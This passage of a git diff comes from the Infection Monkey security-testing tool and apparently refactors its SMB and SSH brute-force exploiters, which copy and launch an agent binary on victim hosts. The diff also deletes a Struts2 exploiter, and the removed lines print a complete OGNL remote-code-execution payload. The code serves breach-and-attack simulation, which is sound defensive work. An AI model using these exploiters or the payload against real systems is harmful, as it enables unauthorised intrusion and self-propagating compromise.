DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS -from infection_monkey.network.smbfinger import SMBFinger -from infection_monkey.network.tools import check_tcp_port from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from infection_monkey.utils.brute_force import ( + generate_brute_force_combinations, + get_credential_string, +) from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptible_iter logger = getLogger(__name__) -class SmbExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE +class SMBExploiter(HostExploiter): _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False - - def __init__(self, host): - super(SmbExploiter, self).__init__(host) - self.vulnerable_port = None - - def is_os_supported(self): - if super(SmbExploiter, self).is_os_supported(): - return True - - if not self.host.os.get("type"): - is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) - if is_smb_open: - smb_finger = SMBFinger() - smb_finger.get_host_fingerprint(self.host) - else: - is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139) - if is_nb_open: - self.host.os["type"] = "windows" - return self.host.os.get("type") in self._TARGET_OS_TYPE - return False + SMB_SERVICE_NAME = "InfectionMonkey" def _exploit_host(self): - src_path = get_target_monkey(self.host) + agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) + dest_path = get_agent_dest_path(self.host, self.options) + creds = generate_brute_force_combinations(self.options["credentials"]) - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False + for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt): + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) - creds = self._config.get_exploit_user_password_or_hash_product() - - exploited = False - for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, - src_path, - self._config.dropper_target_path_win_32, + agent_binary, + dest_path, user, password, lm_hash, ntlm_hash, - self._config.smb_download_timeout, + self.options["smb_download_timeout"], ) if remote_full_path is not None: - logger.debug( - "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " - "%s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), + logger.info( + f"Successfully logged in to {self.host.ip_addr} using SMB " + f"with {creds_for_log}" ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - exploited = True + self.exploit_result.exploitation_success = True break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Exception when trying to copy file using SMB to %r with user:" - " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s: (%s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), - exc, + logger.error( + f"Error while trying to copy file using SMB to {self.host.ip_addr} with " + f"{creds_for_log}:{exc}" ) continue - if not exploited: - logger.debug("Exploiter SmbExec is giving up...") - return False + if not self.exploit_result.exploitation_success: + if self._is_interrupted(): + self._set_interrupted() + else: + logger.debug("Exploiter SmbExec is giving up...") + self.exploit_result.error_message = "Failed to authenticate to the victim over SMB" + + return self.exploit_result - self.set_vulnerable_port() # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): + if remote_full_path.lower() != str(dest_path).lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - get_monkey_depth() - 1, - self.vulnerable_port, - self._config.dropper_target_path_win_32, + self.current_depth - 1, + str(dest_path), ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port - ) + } + build_monkey_commandline(self.host, self.current_depth - 1) - smb_conn = False - for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): + smb_conn = None + for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) + rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) - rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) + rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -146,32 +116,44 @@ class SmbExploiter(HostExploiter): scmr_rpc.connect() except Exception as exc: logger.debug( - "Can't connect to SCM on exploited machine %r port %s : %s", - self.host, - port, - exc, + f"Can't connect to SCM on exploited machine {self.host}, port {port} : {exc}" ) continue + logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}") smb_conn = rpctransport.get_smb_connection() + smb_conn.setTimeout(LONG_REQUEST_TIMEOUT) break if not smb_conn: - return False - # We don't wanna deal with timeouts from now on. - smb_conn.setTimeout(100000) + msg = "Failed to establish an RPC connection over SMB" + + logger.warning(msg) + self.exploit_result.error_message = msg + + return self.exploit_result + scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(scmr_rpc) sc_handle = resp["lpScHandle"] # start the monkey using the SCM - resp = scmr.hRCreateServiceW( - scmr_rpc, - sc_handle, - self._config.smb_service_name, - self._config.smb_service_name, - lpBinaryPathName=cmdline, - ) + try: + resp = scmr.hRCreateServiceW( + scmr_rpc, + sc_handle, + SMBExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, + lpBinaryPathName=cmdline, + ) + except DCERPCSessionError as err: + if err.error_code == 0x431: + logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists') + resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME) + else: + self.exploit_result.error_message = str(err) + return self.exploit_result + service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(scmr_rpc, service) @@ -179,7 +161,7 @@ class SmbExploiter(HostExploiter): except Exception: status = ScanStatus.SCANNED pass - T1035Telem(status, UsageEnum.SMB).send() + self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB)) scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) @@ -189,20 +171,13 @@ class SmbExploiter(HostExploiter): self.host, cmdline, ) + self.exploit_result.propagation_success = True self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - return True - - def set_vulnerable_port(self): - if "tcp-445" in self.host.services: - self.vulnerable_port = "445" - elif "tcp-139" in self.host.services: - self.vulnerable_port = "139" - else: - self.vulnerable_port = None + return self.exploit_result diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index fb5a5f38e..2b13b719e 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,48 +1,66 @@ import io import logging -import time +from pathlib import PurePath import paramiko -import infection_monkey.monkeyfs as monkeyfs +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptible_iter +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) SSH_PORT = 22 +SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT +SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT + TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): - _TARGET_OS_TYPE = ["linux", None] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SSH" - def __init__(self, host): - super(SSHExploiter, self).__init__(host) - self._update_timestamp = 0 - self.skip_exist = self._config.skip_exploit_if_file_exist + def __init__(self): + super(SSHExploiter, self).__init__() def log_transfer(self, transferred, total): - if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: + timer = Timer() + timer.set(TRANSFER_UPDATE_RATE) + + if timer.is_expired(): logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) - self._update_timestamp = time.time() + timer.reset() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: - user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() + user_ssh_key_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_ssh_keys"], + ) - for user, ssh_key_pair in user_ssh_key_pairs: + ssh_key_pairs_iterator = interruptible_iter( + user_ssh_key_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, ssh_key_pair in ssh_key_pairs_iterator: # Creating file-like private key for paramiko pkey = io.StringIO(ssh_key_pair["private_key"]) - ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) + ssh_string = "%s@%s" % (user, self.host.ip_addr) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) @@ -51,58 +69,86 @@ class SSHExploiter(HostExploiter): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") try: - ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) + ssh.connect( + self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + channel_timeout=SSH_CHANNEL_TIMEOUT, + ) logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string ) + self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh - except Exception: + except paramiko.AuthenticationException as err: ssh.close() - logger.debug( - "Error logging into victim %r with %s" " private key", self.host, ssh_string + logger.info( + f"Failed logging into victim {self.host} with {ssh_string} private key: {err}", ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue + except Exception as err: + logger.error(f"Unknown error while attempting to login with ssh key: {err}") raise FailedExploitationError def exploit_with_login_creds(self, port) -> paramiko.SSHClient: - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_password_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_password_list"], + ) - for user, current_password in user_password_pairs: + credentials_iterator = interruptible_iter( + user_password_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, current_password in credentials_iterator: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: - ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) - - logger.debug( - "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), + ssh.connect( + self.host.ip_addr, + username=user, + password=current_password, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + channel_timeout=SSH_CHANNEL_TIMEOUT, ) + + logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, current_password) return ssh - except Exception as exc: + except paramiko.AuthenticationException as err: logger.debug( - "Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", + "Failed logging into victim %r with user" " %s: (%s)", self.host, user, - self._config.hash_sensitive_data(current_password), - exc, + err, ) self.report_login_attempt(False, user, current_password) ssh.close() continue + except Exception as err: + logger.error(f"Unknown error occurred while trying to login to ssh: {err}") raise FailedExploitationError - def _exploit_host(self): - + def _exploit_host(self) -> ExploiterResultData: port = SSH_PORT + # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): @@ -110,8 +156,10 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - logger.info("SSH port is closed on %r, skipping", self.host) - return False + self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" + + logger.info(self.exploit_result.error_message) + return self.exploit_result try: ssh = self.exploit_with_ssh_keys(port) @@ -119,100 +167,114 @@ class SSHExploiter(HostExploiter): try: ssh = self.exploit_with_login_creds(port) except FailedExploitationError: - logger.debug("Exploiter SSHExploiter is giving up...") - return False + self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." + logger.error(self.exploit_result.error_message) + return self.exploit_result + + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result if not self.host.os.get("type"): try: - _, stdout, _ = ssh.exec_command("uname -o") + _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: - self.host.os["type"] = "linux" + self.exploit_result.os = "linux" else: - logger.info("SSH Skipping unknown os: %s", uname_os) - return False - except Exception as exc: - logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) - return False + self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" - if not self.host.os.get("machine"): - try: - _, stdout, _ = ssh.exec_command("uname -m") - uname_machine = stdout.read().lower().strip().decode() - if "" != uname_machine: - self.host.os["machine"] = uname_machine + if not uname_os: + logger.error(self.exploit_result.error_message) + return self.exploit_result except Exception as exc: - logger.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc + self.exploit_result.error_message = ( + f"Error running uname os command on victim {self.host}: ({exc})" ) - if self.skip_exist: - _, stdout, stderr = ssh.exec_command( - "head -c 1 %s" % self._config.dropper_target_path_linux + logger.error(self.exploit_result.error_message) + return self.exploit_result + + agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os) + + if not agent_binary_file_object: + self.exploit_result.error_message = ( + f"Can't find suitable monkey executable for host {self.host}" ) - stdout_res = stdout.read().strip() - if stdout_res: - # file exists - logger.info( - "Host %s was already infected under the current configuration, " - "done" % self.host - ) - return True # return already infected - src_path = get_target_monkey(self.host) + logger.error(self.exploit_result.error_message) + return self.exploit_result - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) try: - ftp = ssh.open_sftp() - - self._update_timestamp = time.time() - with monkeyfs.open(src_path) as file_obj: + with ssh.open_sftp() as ftp: ftp.putfo( - file_obj, - self._config.dropper_target_path_linux, - file_size=monkeyfs.getsize(src_path), + agent_binary_file_object, + str(monkey_path_on_victim), + file_size=len(agent_binary_file_object.getbuffer()), callback=self.log_transfer, ) - ftp.chmod(self._config.dropper_target_path_linux, 0o777) - status = ScanStatus.USED - T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self._config.dropper_target_path_linux, - self.host, - ).send() - ftp.close() + self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim) + + status = ScanStatus.USED except Exception as exc: - logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) + self.exploit_result.error_message = ( + f"Error uploading file into victim {self.host}: ({exc})" + ) + logger.error(self.exploit_result.error_message) status = ScanStatus.SCANNED - T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path - ).send() + self.telemetry_messenger.send_telemetry( + T1105Telem( + status, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + monkey_path_on_victim, + ) + ) if status == ScanStatus.SCANNED: - return False + return self.exploit_result try: - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT - ) + cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" + cmdline += build_monkey_commandline(self.host, self.current_depth - 1) cmdline += " > /dev/null 2>&1 &" - ssh.exec_command(cmdline) + ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, + monkey_path_on_victim, self.host, cmdline, ) + self.exploit_result.propagation_success = True + ssh.close() self.add_executed_cmd(cmdline) - return True + return self.exploit_result except Exception as exc: - logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) - return False + self.exploit_result.error_message = ( + f"Error running monkey on victim {self.host}: ({exc})" + ) + + logger.error(self.exploit_result.error_message) + return self.exploit_result + + def _set_executable_bit_on_agent_binary( + self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath + ): + ftp.chmod(str(monkey_path_on_victim), 0o700) + self.telemetry_messenger.send_telemetry( + T1222Telem( + ScanStatus.USED, + "chmod 0700 {monkey_path_on_victim}", + self.host, + ) + ) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py deleted file mode 100644 index 5efb7a64d..000000000 --- a/monkey/infection_monkey/exploit/struts2.py +++ /dev/null @@ -1,91 +0,0 @@ -""" - Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) - code used is from https://www.exploit-db.com/exploits/41570/ - Vulnerable struts2 versions <=2.3.31 and <=2.5.10 -""" -import http.client -import logging -import re -import ssl -import urllib.error -import urllib.parse -import urllib.request -from typing import List, Tuple - -from infection_monkey.exploit.web_rce import WebRCE - -logger = logging.getLogger(__name__) - -DOWNLOAD_TIMEOUT = 300 - - -class Struts2Exploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] - _EXPLOITED_SERVICE = "Struts2" - - def __init__(self, host): - super(Struts2Exploiter, self).__init__(host, None) - - def get_exploit_config(self): - exploit_config = super(Struts2Exploiter, self).get_exploit_config() - exploit_config["dropper"] = True - return exploit_config - - @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: - url_list = WebRCE.build_potential_urls(ip, ports) - url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] - return url_list - - @staticmethod - def get_redirected(url): - # Returns false if url is not right - headers = {"User-Agent": "Mozilla/5.0"} - request = urllib.request.Request(url, headers=headers) - try: - return urllib.request.urlopen( - request, context=ssl._create_unverified_context() # noqa: DUO122 - ).geturl() - except urllib.error.URLError: - logger.error("Can't reach struts2 server") - return False - - def exploit(self, url, cmd): - """ - :param url: Full url to send request to - :param cmd: Code to try and execute on host - :return: response - """ - cmd = re.sub(r"\\", r"\\\\", cmd) - cmd = re.sub(r"'", r"\\'", cmd) - payload = ( - "%%{(#_='multipart/form-data')." - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - "(#_memberAccess?" - "(#_memberAccess=#dm):" - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - "(#ognlUtil.getExcludedPackageNames().clear())." - "(#ognlUtil.getExcludedClasses().clear())." - "(#context.setMemberAccess(#dm))))." - "(#cmd='%s')." - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - "(#p=new java.lang.ProcessBuilder(#cmds))." - "(#p.redirectErrorStream(true)).(#process=#p.start())." - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - "(#ros.flush())}" % cmd - ) - headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload} - try: - request = urllib.request.Request(url, headers=headers) - # Timeout added or else we would wait for all monkeys' output - page = urllib.request.urlopen(request).read() - except AttributeError: - # If url does not exist - return False - except http.client.IncompleteRead as e: - page = e.partial.decode() - - return page diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index c0f467bd4..05a15aed7 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,83 +1,36 @@ import logging +import random +import string +from pathlib import PurePath, PurePosixPath, PureWindowsPath +from typing import Any, Mapping + +from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) - -def try_get_target_monkey(host): - src_path = get_target_monkey(host) - if not src_path: - raise Exception("Can't find suitable monkey executable for host %r", host) - return src_path +RAND_SUFFIX_LEN = 8 -def get_target_monkey(host): - import platform - import sys - - from infection_monkey.control import ControlClient - - if host.monkey_exe: - return host.monkey_exe - - if not host.os.get("type"): - return None - - monkey_path = ControlClient.download_monkey_exe(host) - - if host.os.get("machine") and monkey_path: - host.monkey_exe = monkey_path - - if not monkey_path: - if host.os.get("type") == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, - # use our exe - if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get( - "machine", "" - ).lower() == platform.machine().lower(): - monkey_path = sys.executable - - return monkey_path +def get_random_file_suffix() -> str: + character_set = list(string.ascii_letters + string.digits + "_" + "-") + # random.SystemRandom can block indefinitely in Linux + random_string = "".join(random.choices(character_set, k=RAND_SUFFIX_LEN)) # noqa: DUO102 + return random_string -def get_target_monkey_by_os(is_windows, is_32bit): - from infection_monkey.control import ControlClient +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath: + if host.os["type"] == "windows": + path = PureWindowsPath(options["dropper_target_path_win_64"]) + else: + path = PurePosixPath(options["dropper_target_path_linux"]) - return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + return _add_random_suffix(path) -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - - return WormConfiguration.depth - - -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - from infection_monkey.config import WormConfiguration - - if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if "linux" in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif "windows-32" in url_to_monkey: - return WormConfiguration.dropper_target_path_win_32 - elif "windows-64" in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - logger.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." - ) - return False - except AttributeError: - logger.error( - "Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey" - ) - return False +# Turns C:\\monkey.exe into C:\\monkey-.exe +# Useful to avoid duplicate file paths +def _add_random_suffix(path: PurePath) -> PurePath: + stem = path.name.split(".")[0] + stem = f"{stem}-{get_random_file_suffix()}" + rand_filename = "".join([stem, *path.suffixes]) + return path.with_name(rand_filename) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 9ef73090b..92696a5b7 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -1,47 +1,24 @@ import logging -import os -import os.path import urllib.error import urllib.parse import urllib.request from threading import Lock -from infection_monkey.exploit.tools.helpers import try_get_target_monkey -from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.transport import HTTPServer, LockedHTTPServer +from infection_monkey.transport import LockedHTTPServer logger = logging.getLogger(__name__) class HTTPTools(object): @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=None): - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - return None, None - - httpd = HTTPServer(local_ip, local_port, src_path) - httpd.daemon = True - httpd.start() - - return ( - "http://%s:%s/%s" - % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), - httpd, - ) - - @staticmethod - def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + def try_create_locked_transfer( + host, src_path, agent_repository, local_ip=None, local_port=None + ): http_path, http_thread = HTTPTools.create_locked_transfer( - host, src_path, local_ip, local_port + host, src_path, agent_repository, local_ip, local_port ) if not http_path: raise Exception("Http transfer creation failed.") @@ -49,11 +26,14 @@ class HTTPTools(object): return http_path, http_thread @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + def create_locked_transfer( + host, dropper_target_path, agent_repository, local_ip=None, local_port=None + ) -> LockedHTTPServer: """ Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system + :param agent_repository: Repository to download Monkey agents :param local_ip: IP where to host server :param local_port: Port at which to host monkey's download :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler @@ -71,36 +51,12 @@ class HTTPTools(object): logger.error("Firewall is not allowed to listen for incomming ports. Aborting") return None, None - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd = LockedHTTPServer( + local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock + ) httpd.start() lock.acquire() return ( - "http://%s:%s/%s" - % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])), httpd, ) - - @staticmethod - def get_port_from_url(url: str) -> int: - return urllib.parse.urlparse(url).port - - -class MonkeyHTTPServer(HTTPTools): - def __init__(self, host): - super(MonkeyHTTPServer, self).__init__() - self.http_path = None - self.http_thread = None - self.host = host - - def start(self): - # Get monkey exe for host and it's path - src_path = try_get_target_monkey(self.host) - self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( - self.host, src_path - ) - - def stop(self): - if not self.http_path or not self.http_thread: - raise RuntimeError("Can't stop http server that wasn't started!") - self.http_thread.join(DOWNLOAD_TIMEOUT) - self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index d9ca57108..8930bf467 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -1,17 +1,18 @@ import logging import ntpath import pprint +from io import BytesIO +from pathlib import PurePath +from typing import Optional from impacket.dcerpc.v5 import srvs, transport from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMB_DIALECT, SMBConnection -import infection_monkey.config -import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus -from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.utils.brute_force import get_credential_string logger = logging.getLogger(__name__) @@ -19,11 +20,17 @@ logger = logging.getLogger(__name__) class SmbTools(object): @staticmethod def copy_file( - host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 - ): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - config = infection_monkey.config.WormConfiguration - src_file_size = monkeyfs.getsize(src_path) + host, + agent_file: BytesIO, + dst_path: PurePath, + username, + password, + lm_hash="", + ntlm_hash="", + timeout=30, + ) -> Optional[str]: + creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash]) + logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}") smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout @@ -33,16 +40,7 @@ class SmbTools(object): # skip guest users if smb.isGuestSession() > 0: - logger.debug( - "Connection to %r granted guest privileges with user: %s, password (SHA-512): " - "'%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - ) + logger.info(f"Connection to {host} granted guest privileges with {creds_for_log}") try: smb.logoff() @@ -78,7 +76,7 @@ class SmbTools(object): high_priority_shares = () low_priority_shares = () - file_name = ntpath.split(dst_path)[-1] + file_name = dst_path.name for i in 